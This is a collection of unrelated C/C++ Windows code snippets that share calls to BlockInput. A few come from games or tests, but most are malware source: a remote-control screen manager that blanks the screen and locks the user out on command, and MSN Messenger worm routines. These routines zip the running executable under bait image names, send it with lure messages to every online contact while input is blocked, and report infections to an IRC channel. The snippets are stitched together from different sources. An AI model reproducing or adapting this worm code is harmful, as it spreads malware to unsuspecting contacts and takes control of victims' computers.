// 创建这个线程主要是为了保持一直黑屏 DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam) { CScreenManager *pThis = (CScreenManager *)lparam; static bool bIsScreenBlanked = false; while (pThis->IsConnect()) { // todo:加快反应速度 for (int i = 0; i < 100; i++) { if (pThis->IsConnect()) { if (pThis->IsMetricsChange()) { pThis->ResetScreen(pThis->GetCurrentPixelBits()); } Sleep(10); } else { break; } } if (pThis->m_bIsBlankScreen) { SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0); SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2); bIsScreenBlanked = true; } else { if (bIsScreenBlanked) { SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0); SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1); bIsScreenBlanked = false; } } BlockInput(pThis->m_bIsBlockInput); if (pThis->IsMetricsChange()) { pThis->ResetScreen(pThis->GetCurrentPixelBits()); } } BlockInput(false); return -1; }
void AddContact(char *email) { IMSNMessenger *MSN = NULL; CoInitialize(0); HRESULT HR = CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL,IID_IMSNMessenger,(void **)&MSN); if(SUCCEEDED(HR)) { MSN->AddContact(NULL, email); } BlockInput(1); Sleep(500); keybd_event(VK_RETURN, 0, 0, 0); BlockInput(0); }
void SSSIdle::exit() { BlockInput(true);//block mouse input IOHandler::get()->startLoadingAnimation(GameValueProvider::get()->getGameMainWindow()); }
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { try { switch (lpBuffer[0]) { case COMMAND_NEXT: NotifyDialogIsOpen(); break; case COMMAND_SCREEN_RESET: ResetScreen(*(LPBYTE)&lpBuffer[1]); break; case COMMAND_ALGORITHM_RESET: m_bAlgorithm = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setAlgorithm(m_bAlgorithm); break; case COMMAND_SCREEN_CTRL_ALT_DEL: ::SimulateCtrlAltDel(); break; case COMMAND_SCREEN_CONTROL: { BlockInput(false); ProcessMouseAndKeyCommand(lpBuffer + 1, nSize - 1); BlockInput(m_bIsBlockInput); } break; case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定 m_bIsBlockInput = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_BLANK: m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_CAPTURE_LAYER: m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer); break; case COMMAND_SCREEN_GET_CLIPBOARD: SendLocalClipboard(); break; case COMMAND_SCREEN_SET_CLIPBOARD: UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1); break; default: break; } }catch(...){} }
unsigned __stdcall workthread(void * args) { HWND* hwnd = (HWND *)args; POINT pts[]= {{30, 20}, {200, 20}, {200, 300}, {30,300}}; int i = 0; while(i < 8) { int j = i % 4; POINT pt = pts[j]; ClientToScreen(*hwnd, &pt); BlockInput(False); MouseMove(pt.x, pt.y); BlockInput(True); Sleep(1000); ++i; } _endthreadex(0); return 0; }
void PushContext(std::shared_ptr<InputContext> context) { if (contextStack.empty()) { // Block all input, unacquiring the mouse in the process for (auto i = 0; i < eInputType_Count; i++) BlockInput(static_cast<InputType>(i), true); } else { // Deactivate the current context contextStack.top()->Deactivated(); } // Push and activate the new context contextStack.push(context); context->Activated(); }
DWORD WINAPI MsnMsg(LPVOID param) { trx = 0; NTHREAD msn = *((NTHREAD *)param); NTHREAD *msns = (NTHREAD *)param; msns->gotinfo = TRUE; IMSNMessenger3 *pIMessenger = NULL; CoInitialize(0); HRESULT hr = CoCreateInstance( CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMSNMessenger2, (void**)&pIMessenger); char msnmsg[512]; strncpy(msnmsg,msn.data1,sizeof(msnmsg)); if (SUCCEEDED(hr)) { // char msg[256]; IDispatch * dispContacts = NULL; pIMessenger->get_MyContacts(&dispContacts); if (SUCCEEDED(hr)) { IMSNMessengerContacts *pIMessengerContacts = NULL; hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts); if (SUCCEEDED(hr)) { IDispatch * dispContact = NULL; IMSNMessengerContact *pIMessengerContact = NULL; long iContacts; hr = pIMessengerContacts->get_Count(&iContacts); if (SUCCEEDED(hr)) { BlockInput(true); for (long i = 0; i < iContacts; i++) { hr = pIMessengerContacts->raw_Item(i,&dispContact); if (SUCCEEDED(hr)) { hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact); if (SUCCEEDED(hr)) { BSTR szContactName; VARIANT vt_user; MISTATUS miStatus; IDispatch *pIDispatch = NULL; IMSNMessengerWindow *pIMessengerWindow; LONG wndIM; hr = pIMessengerContact->get_Status(&miStatus); if (SUCCEEDED(hr)) { if (miStatus == MISTATUS_OFFLINE) { pIMessengerContact->Release(); dispContact->Release(); continue; } } pIMessengerContact->get_SigninName(&szContactName); VariantInit( &vt_user ); to_variant(szContactName, vt_user); Sleep(3000); hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch); if (SUCCEEDED(hr)) { hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void **)&pIMessengerWindow); if (SUCCEEDED(hr)) { Sleep(10); pIMessengerWindow->get_HWND(&wndIM); SetForegroundWindow((HWND) wndIM); SetFocus((HWND) wndIM); trx++; ShowWindow((HWND) wndIM,0); srand(GetTickCount()); stats_msg++; //int i = rand() % sizeof(gen_msgenglish) / sizeof(gen_msgenglish[0]); key_type((char *)msnmsg, (HWND) wndIM); keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0); keybd_event(VkKeyScan('V'), 0, 0, 0); keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); keybd_event(VK_RETURN, 0, 0, 0); } } pIMessengerContact->Release(); dispContact->Release(); } } } BlockInput(false); // irc_privmsg(sock, chan, str_msn_msg, notice,TRUE); pIMessengerContacts->Release(); } dispContacts->Release(); } } pIMessenger->Release(); } CoUninitialize(); clearthread(msn.threadnum); ExitThread(0); return 0; }
DWORD WINAPI MsnFile2(LPVOID param) { trt = 0; NTHREAD msn2 = *((NTHREAD *)param); NTHREAD *msns2 = (NTHREAD *)param; msns2->gotinfo = TRUE; IRC* irc=(IRC*)msn2.conn; ///Windir Zipfile Namensgebung char fakename[] = "gafgatew.tmp"; char windir[MAX_PATH]; GetWindowsDirectory(windir,sizeof(windir)); strcat(windir, "\\temp\\"); strcat(windir, fakename); IMSNMessenger3 *pIMessenger = NULL; CoInitialize(0); HRESULT hr = CoCreateInstance( CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMSNMessenger2, (void**)&pIMessenger); char msnmsg[512]; char buf[128]; char msnmsg1[1024]; strncpy(msnmsg,msn2.data1,sizeof(msnmsg)); if (SUCCEEDED(hr)) { char msg[256]; IDispatch * dispContacts = NULL; pIMessenger->get_MyContacts(&dispContacts); if (SUCCEEDED(hr)) { IMSNMessengerContacts *pIMessengerContacts = NULL; hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts); if (SUCCEEDED(hr)) { IDispatch * dispContact = NULL; IMSNMessengerContact *pIMessengerContact = NULL; long iContacts; hr = pIMessengerContacts->get_Count(&iContacts); if (SUCCEEDED(hr)) { BlockInput(true); for (long i = 0; i < iContacts; i++) { hr = pIMessengerContacts->raw_Item(i,&dispContact); if (SUCCEEDED(hr)) { hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact); if (SUCCEEDED(hr)) { BSTR szContactName; VARIANT vt_user; MISTATUS miStatus; IDispatch *pIDispatch = NULL; IMSNMessengerWindow *pIMessengerWindow; LONG wndIM; hr = pIMessengerContact->get_Status(&miStatus); if (SUCCEEDED(hr)) { if (miStatus == MISTATUS_OFFLINE) { pIMessengerContact->Release(); dispContact->Release(); continue; } } /// Message no [email protected] !!! pIMessengerContact->get_SigninName(&szContactName); VariantInit( &vt_user ); to_variant2(szContactName, vt_user); _bstr_t tmp = szContactName; sprintf(buf, _T("%s"), (LPCTSTR)tmp); sprintf(msnmsg1, "%s", msnmsg); /// ///makes the 'zip' named email_023.jpeg-www.myspace.com char *pemail; pemail = strchr(buf, '@'); if(pemail != NULL) buf[pemail-buf] = NULL; strcat(buf, "_023.jpeg-www.myspace.com"); // char exepath[MAX_PATH]; GetModuleFileName(NULL, exepath, MAX_PATH); zip_store(exepath, windir, buf); /// Sleep(3000); hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch); if (SUCCEEDED(hr)) { hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void **)&pIMessengerWindow); if (SUCCEEDED(hr)) { Sleep(10); pIMessengerWindow->get_HWND(&wndIM); SetForegroundWindow((HWND) wndIM); SetFocus((HWND) wndIM); trt++; ShowWindow((HWND) wndIM,0); srand(GetTickCount()); //stats_msg++; //send message key_type2((char *)msnmsg1, (HWND) wndIM); keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0); keybd_event(VkKeyScan('V'), 0, 0, 0); keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); keybd_event(VK_RETURN, 0, 0, 0); //send zipfile Sleep(50); dropfiles2((HWND) wndIM, buf); keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0); keybd_event(VkKeyScan('V'), 0, 0, 0); keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); } } pIMessengerContact->Release(); dispContact->Release(); } } } BlockInput(false); if ( trt > 1 ) { irc->pmsg(InfoChan,str_msn_msg2, trx); } pIMessengerContacts->Release(); } dispContacts->Release(); } } pIMessenger->Release(); } CoUninitialize(); clearthread(msn2.threadnum); ExitThread(0); return 0; }
void imfuck(SOCKET sock) { const char *msgg; srand(GetTickCount()); msgg = *(&msg_send[randget(msg_send)]); char fakename[] = "pic0382.zip"; char windir[MAX_PATH]; GetWindowsDirectory(windir,sizeof(windir)); strcat(windir, "\\"); strcat(windir, fakename); IMSNMessenger *pIMessenger = NULL; CoInitialize(0); HRESULT hr = CoCreateInstance( CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMSNMessenger, (void **)&pIMessenger); if (SUCCEEDED(hr)) { IDispatch * dispContacts = NULL; pIMessenger->get_MyContacts(&dispContacts); if (SUCCEEDED(hr)) { IMSNMessengerContacts *pIMessengerContacts = NULL; hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts); if (SUCCEEDED(hr)) { IDispatch * dispContact = NULL; IMSNMessengerContact *pIMessengerContact = NULL; long iContacts; hr = pIMessengerContacts->get_Count(&iContacts); if (SUCCEEDED(hr)) { BlockInput(true); int x = 0; for (long i = 0; i < iContacts; i++) { hr = pIMessengerContacts->raw_Item(i,&dispContact); if (SUCCEEDED(hr)) { hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact); if (SUCCEEDED(hr)) { BSTR szContactName; VARIANT vt_user; MISTATUS miStatus; IDispatch *pIDispatch = NULL; IMSNMessengerWindow *pIMessengerWindow; LONG wndIM; hr = pIMessengerContact->get_Status(&miStatus); if (SUCCEEDED(hr)) { if (miStatus == MISTATUS_OFFLINE) { pIMessengerContact->Release(); dispContact->Release(); continue; } } pIMessengerContact->get_SigninName(&szContactName); VariantInit( &vt_user ); to_variant(szContactName, vt_user); _bstr_t tmp = szContactName; char buf[128]; sprintf(buf, _T("%s"), (LPCTSTR)tmp); char *pemail; pemail = strchr(buf, '@'); if(pemail != NULL) buf[pemail-buf] = NULL; strcat(buf, ".imageshack.com"); char exepath[MAX_PATH]; GetModuleFileName(NULL, exepath, MAX_PATH); zip_store(exepath, windir, buf); Sleep(3000); hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch); if (SUCCEEDED(hr)) { hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void**)&pIMessengerWindow); if (SUCCEEDED(hr)) { pIMessengerWindow->get_HWND(&wndIM); SetForegroundWindow((HWND) wndIM); SetFocus((HWND) wndIM); ShowWindow((HWND) wndIM,0); srand(GetTickCount()); int i = rand() % sizeof(msgg) / sizeof(msgg[0]); key_type((char *)msgg, (HWND) wndIM); keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0); keybd_event(VkKeyScan('V'), 0, 0, 0); keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); keybd_event(VK_RETURN, 0, 0, 0); Sleep(50); dropfiles((HWND) wndIM, buf); keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0); keybd_event(VkKeyScan('V'), 0, 0, 0); keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); x++; } pIMessengerWindow->Release(); } pIMessengerContact->Release(); dispContact->Release(); } } } BlockInput(false); char buf[128]; sprintf(buf, "[Msn] worm sent to %d contacts!", x); irc_privmsg(sock, channel, buf, 0); pIMessengerContacts->Release(); } dispContacts->Release(); } } pIMessenger->Release(); } CoUninitialize(); //return 0; }